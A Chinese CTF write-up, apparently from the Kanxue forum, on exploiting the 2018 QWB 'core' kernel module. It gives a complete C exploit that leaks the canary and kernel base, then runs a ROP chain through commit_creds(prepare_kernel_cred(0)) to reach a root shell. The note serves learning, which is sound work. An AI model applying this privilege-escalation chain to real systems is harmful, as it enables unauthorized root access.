Linux Kernel Pwn 学习笔记(栈溢出)

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所属分类:逆向工程
Linux Kernel Pwn 学习笔记(栈溢出)

本文为看雪论坛精华文章

看雪论坛作者ID:Vinadiak





0x01 背景



栈溢出是最基本的一个漏洞,学习 pwn 从栈溢出开始学习是比较简单的入门方式。之前也研究过 linux 内核,但因为种种原因不得不放弃。现在跟着安卓版主学习了几天linux内核漏洞,收获了不少知识,开始自己梳理和分享自己的笔记,特此感谢版主老师的教导。





0x02 内核基本知识



Canary:是防止栈溢出的保护,一般在 ebp-0x8 的位置,学习 linux pwn 的基本知识,不细讲。

KASLR:地址随机化,类似 ASLR。

SMAP:内核保护机制,内核态不可使用用户态的数据。

SMEP:内核保护机制,内核态不可执行用户的代码。

commit_creds(prepare_kernel_cred(0)) :获得 root权限功能函数。

file_opertion:Linux使用file_operations结构访问驱动程序的函数,这个结构的每一个成员的名字都对应着一个调用ioctl系统调用来控制设备。


获取基址


vmlinux_base:内核加载基址,有了这个可以绕过 kaslr 实现内核的其他函数。

获取方式:head /proc/kallsyms 1,startup对应的地址就是基址。
 
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core_base:驱动加载基地址

查看基地址方式
cat /proc/modules
cat /proc/devices
cat /proc/kallsyms
lsmod
dmesg
 
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0x03 分析代码



题目:2018 强网杯CTF pwncore


保护机制


从checksec我们可以知道开启canary和nx enable:

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在start.sh可以看到内核没有开启smep和smap,但开启kaslr:

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程序逻辑


ioctl


首先是ioctl,通过ioctl可以实现core_read和修改off和core_core_func三个功能,我们可以控制ioctl的三个参数,就是arg1(a1),arg2,arg3。

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core_read


通过ioctl我们可以知道core_read的两个参数对应着arg3和arg2,这里有个泄漏栈地址的漏洞copy_to_user,该函数功能是从v6+off开始的位置读取64个字符到arg3中,通过这个函数可以将栈上v6+off到v6+off+0x64的栈空间传递到我们的buff,即可泄漏canary和vmlinux_base以及core_base,方便我们构造ROP chain。
 
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core _write


core_write函数这里copy_from_user可以让我们写name,限制字符数是0x800。

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copy_copy_func


这里注意到qmemcpy,v2是rbp-50h的地方,可是name是我们控制的变量,并且可以写0x800个字符,那么我们可以这里进行栈溢出劫持控制流。

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如何编写EXP


编写EXP的时候我们需要注意,进入内核时需要保存当前进程的环境,同时在
init_module 里面有个core_proc = proc_create("core", 438LL, 0LL, &core_fops);

core_fops是file_operation的结构体,它是linux调用的时候指定的函数,驱动加载的时候调用了init_module,导致我们写的一些函数都指向了驱动中的函数。

这里注册了core_write、core_ioctl、core_release,通过这个结构体我们调用write就是调用core_write,ioctl就是调用core_ioctl.知道这些才能正确地编写exp,exp对应函数调用如下:

void core_read(char *buf){    ioctl(fd,0x6677889B,buf);} void change_off(long long v1){    ioctl(fd,0x6677889c,v1);} void core_write(char *buf,int a3){    write(fd,buf,a3);} void core_copy_func(long long size){    ioctl(fd,0x6677889a,size);}

rop编写


rop思路流程:

1.用canary绕过canary保护
2.调用commit_creds(prepare_kernel_cred(0))提权
3.回到用户态进行调用system("/bin/sh")来getshell
4.最后修复环境。

*注:建议用ropper找ROP,不然ROPgadget太慢。

for(i = 0;i < 8;i++){
rop[i] = 0x66666666; //offset}rop[i++] = canary; //canaryrop[i++] = 0; //rbp(junk)rop[i++] = vmlinux_base + 0xb2f; //pop_rdi_ret;rop[i++] = 0; //rdirop[i++] = prepare_kernel_cred_addr;rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_retrop[i++] = vmlinux_base + 0x21e53; //pop_rcx_retrop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdxrop[i++] = commit_creds_addr;rop[i++] = core_base + 0xd6; //swapgs_retrop[i++] = 0; //rbp(junk)rop[i++] = vmlinux_base + 0x50ac2; //iretp_retrop[i++] = (size_t)shell;rop[i++] = user_cs;rop[i++] = user_eflags;rop[i++] = user_sp;rop[i++] = user_ss;


EXP代码如下


EXP程序流程:
1.就是set_off设置off的值
2.然后调用read泄漏地址
3.在调用write写rop
4.最后调用copy_copy_func实现栈溢出劫持控制流get_shell()

//rop.c//gcc rop.c -o poc -w -static#include <stdio.h>#include <fcntl.h>#include <unistd.h>int fd;void core_read(char *buf){    ioctl(fd,0x6677889B,buf);    //printf("[*]The buf is:%xn",buf);} void change_off(long long v1){    ioctl(fd,0x6677889c,v1);} void core_write(char *buf,int a3){    write(fd,buf,a3);} void core_copy_func(long long size){    ioctl(fd,0x6677889a,size);} void shell(){    system("/bin/sh");} unsigned long user_cs, user_ss, user_eflags,user_sp    ;void save_stats(){    asm(        "movq %%cs, %0n"        "movq %%ss, %1n"        "movq %%rsp, %3n"        "pushfqn"        "popq %2n"        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)         :         : "memory"     );} int main(){    int ret,i;    char buf[0x100];    size_t vmlinux_base,core_base,canary;    size_t commit_creds_addr,prepare_kernel_cred_addr;    size_t commit_creds_offset = 0x9c8e0;    size_t prepare_kernel_cred_offset = 0x9cce0;    size_t rop[0x100];    save_stats();    fd = open("/proc/core",O_RDWR);    change_off(0x40);    core_read(buf);    /*    for(i=0;i<0x40;i++){    printf("[*] The buf[%x] is:%pn",i,*(size_t *)(&buf[i]));    }    */    vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;  '''0x1dd6d1'''    core_base = *(size_t *)(&buf[0x10]) - 0x19b;    prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;    commit_creds_addr = vmlinux_base + commit_creds_offset;    canary = *(size_t *)(&buf[0]);    printf("[*]canary:%pn",canary);    printf("[*]vmlinux_base:%pn",vmlinux_base);    printf("[*]core_base:%pn",core_base);    printf("[*]prepare_kernel_cred_addr:%pn",prepare_kernel_cred_addr);    printf("[*]commit_creds_addr:%pn",commit_creds_addr);    //junk    for(i = 0;i < 8;i++){        rop[i] = 0x66666666;                //offset    }    rop[i++] = canary;                      //canary    rop[i++] = 0;                           //rbp(junk)    rop[i++] = vmlinux_base + 0xb2f;        //pop_rdi_ret;    rop[i++] = 0;                           //rdi    rop[i++] = prepare_kernel_cred_addr;    rop[i++] = vmlinux_base + 0xa0f49;      //pop_rdx_ret    rop[i++] = vmlinux_base + 0x21e53;      //pop_rcx_ret    rop[i++] = vmlinux_base + 0x1aa6a;      //mov_rdi_rax_call_rdx    rop[i++] = commit_creds_addr;    rop[i++] = core_base + 0xd6;            //swapgs_ret    rop[i++] = 0;                           //rbp(junk)    rop[i++] = vmlinux_base + 0x50ac2;      //iretp_ret    rop[i++] = (size_t)shell;    rop[i++] = user_cs;    rop[i++] = user_eflags;    rop[i++] = user_sp;    rop[i++] = user_ss;    core_write(rop,0x100);    core_copy_func(0xf000000000000100);    return 0;}




0x04 总结



这是我进入 Linux Kernel pwn 的敲门砖,自己当时听完觉得有点迷糊,看了代码的时候觉得很简单,但是当自己敲的时候又有很多问题不懂,只有当敲完一遍,把程序流程梳理了之后很多地方都清晰了。Linux 内核是很大的世界,要想完全理解,还要深入研究。
 
题目下载地址:
https://github.com/Vinadiak/LinuxKernelPwn


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https://bbs.pediy.com/user-855782.htm

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